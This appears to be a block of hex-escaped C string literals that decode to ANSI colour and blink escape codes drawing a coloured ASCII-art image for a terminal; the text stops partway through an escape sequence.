"\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b"
"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x74\x20\x20"
"\x20\x20\x20\x20\x2e\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33"
"\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x35\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34"
"\x37\x6d\x3a\x20\x2e\x20\x2e\x20\x20\x2e\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33"
"\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d"
"\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b"
"\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30"
"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x20\x20\x20\x2e\x2e\x20\x74\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x3b\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b"
"\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x74\x3b\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x40\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d"
"\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38"
"\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x38\x58\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x20\x40\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33"
"\x3b\x34\x30\x6d\x25\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58"
"\x2e\x3b\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30"
"\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3b\x38\x74\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x2e\x38\x3b\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x53\x20\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37"
"\x3b\x34\x30\x6d\x38\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x20\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x38\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x20\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b"
"\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x53\x38"
"\x25\x53\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b"
"\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x40\x58\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d"
"\x3a\x20\x2e\x25\x3b\x2e\x2e\x25\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b"
"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31"
